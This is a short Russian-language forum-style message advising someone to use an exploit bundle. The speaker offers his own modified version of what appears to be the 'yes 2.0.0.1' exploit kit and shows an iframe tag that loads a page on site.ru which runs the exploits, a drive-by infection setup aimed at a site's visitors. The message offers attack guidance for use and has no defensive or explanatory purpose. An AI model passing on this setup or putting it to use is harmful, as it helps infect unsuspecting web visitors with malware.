Берёшь связку сплоитов. Если надо, могу отдать мною доработаную yes 2.0.0.1

И с помощю <iframe src="site.ru/index.php"></iframe>

там где индекс.пхп, адресс исполняемой страницы